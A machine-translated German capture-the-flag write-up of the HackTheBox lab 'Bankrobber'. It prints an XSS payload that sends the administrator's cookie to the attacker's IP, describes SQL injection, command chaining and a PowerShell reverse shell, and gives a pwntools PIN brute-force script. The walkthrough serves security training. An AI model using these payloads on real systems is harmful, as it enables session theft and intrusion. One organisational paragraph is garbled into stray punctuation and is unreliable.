Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden . Ich hoffe, dass dies zumindest jemandem hilft, sich im Bereich der Informationssicherheit zu entwickeln. In diesem Artikel werden wir die Cookies des Site-Administrators über XSS stehlen, den Code mithilfe von SQL Injection herausfinden, die Shell mithilfe von XSS und CSRF über das Befehlsausführungsformular abrufen, den Port von Windows aus stechen und die PIN der einfachen Geldtransferanwendung mithilfe von pwntools ändern.Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas auf dem Gebiet der Informationssicherheit wissen :)Organisationsinformationen, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Aufklärung
Dieser Computer hat eine IP-Adresse 10.10.10.154, die ich zu / etc / hosts hinzufüge.10.10.10.154 bankrobber.htb
Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500
Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.nmap -A bankrobber.htb -p80,443,445,3306
Der Host verfügt über einen Webserver und SMB, und MySQL ist ebenfalls verfügbar. SMB und MySQL geben uns nichts, schauen Sie sich also das Web an.
Auf der Bitcoin-Website können wir uns registrieren.
Registrieren wir uns und melden uns an. Wir erhalten ein Formular für die Überweisung von Geldern.
Nach Abschluss einer einfachen Testanfrage erhalten wir eine Nachricht. Es heißt, dass der Administrator unsere Transaktionsanfrage prüfen und eine Entscheidung treffen wird.
Dies ist ein sehr großer Hinweis auf XSS. Versuchen wir, den Admin-Cookie zu stehlen. Stellen Sie zunächst den lokalen HTTP-Server bereit.
Jetzt führen wir die Transaktionsanforderung aus und geben die folgende JS-Last als Nachricht an.<script>new Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>
Beim Versuch, ein Bild hochzuladen, kontaktiert das Skript diese Adresse und sendet uns als Parameter Cookies des Kontos, unter dem das Skript ausgeführt wurde (in diesem Fall des Administrators).
Es sieht aus wie base64. Wir dekodieren und erhalten den Administrator Login und Passwort.
Melden Sie sich als Administrator an und sehen Sie, was für uns neu ist. Wenn Sie ein Angebot im Suchfeld des Benutzers senden, erhalten wir eine Fehlermeldung - es liegt eine Injektion vor.
Ein anderer Server fragt nach dem Befehl dir.
Aber nur localhost antwortet.
Kehren wir zur SQL-Injection zurück.
Wir bestimmen die Anzahl der Spalten und welche davon angezeigt werden.
Somit werden die erste und die zweite Spalte angezeigt.BENUTZER
Nachdem wir ein bisschen gesessen haben, finden wir nichts Interessantes. Fahren wir mit dem Backdoorchecker-Modul fort. Suchen Sie ein Ereignis, das auf einen Schaltflächenklick reagiert.
Gehen Sie zur Browserkonsole und geben Sie den Namen der Funktion ein.
Wir folgen dem Link zur Funktion.
Und wir finden, wohin die Anfrage geht. Dank der Injektion können wir die Datei lesen (das erste Mal, dass ich den Standard-xampp-Pfad erraten habe).
Daher wird der Befehl ausgeführt, wenn der Teilstring "dir" in der Zeile vorhanden ist. Dies ermöglicht es uns, eine Befehlskette zu senden. Es bleibt zu behandeln, die Anfrage sollte von localhost kommen. Wir rufen XSS und die Funktion callSys () auf, die wir aufrufen können, um eine Anfrage zu senden. Überprüfen Sie unsere Annahme.
Da der Befehl vollständig ist, führen wir RCE mit dem Invoke-PowerShellTcp-Skript aus dem Paket ausNishang .
WURZEL
Zunächst führen wir die grundlegende Aufzählung des Systems durch. Dafür verwenden wir winPEAS .
Von allen Ausgaben klammern wir uns an den Port, der auf localhost 910 geöffnet ist.
Mal sehen, was drauf ist. Zuerst müssen Sie den Hafen werfen. Unter allen Programmen ist Meißel die bequemste Lösung . Führen Sie es auf localhost und Remote-Hosts aus.
Jetzt verbinden und sehen, was da ist.
Ein 4-stelliger PIN-Code ist erforderlich. Wir kriegen das hin.
def clear():
sys.stdout.write("\033[F")
sys.stdout.write("\033[K")
from pwn import *
for numb in range(10000):
PIN = str(numb).rjust(4, '0')
r = remote('127.0.0.1', 910)
print("Find PIN: " + PIN, end="\r")
clear()
r.sendafter('[$] ', PIN+"\n")
ans = r.recv()
if b"Access denied" in ans:
r.close()
clear()
else:
print("[+] PIN found: " + PIN)
print(str(ans, "utf-8"))
break
r.interactive()
Wir finden den PIN-Code und werden aufgefordert, den Transaktionsbetrag einzugeben. Wir machen das und nichts passiert.
Der Betrag wird an ein Programm übertragen, das als Administrator ausgeführt wird. Wenn wir nichts mehr finden, übertragen wir als Summe eine Zeichenfolge mit 100 Zeichen.
Und wir sehen, wie sich die Programmstartlinie zu einem Teil unserer Linie geändert hat. Lassen Sie uns überprüfen, von welchem Index dies passiert ist.
Wenn wir also eine Zeile mit dem Namen eines anderen Programms übergeben, wird sie ausgeführt. Lass uns nachsehen.

Und die Annahme ist wahr. Laden Sie zunächst netcat herunter.
Und jetzt machen wir die Rückverbindung.
Abrufen von SYSTEM-Berechtigungen.Sie können sich uns per Telegramm anschließen. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.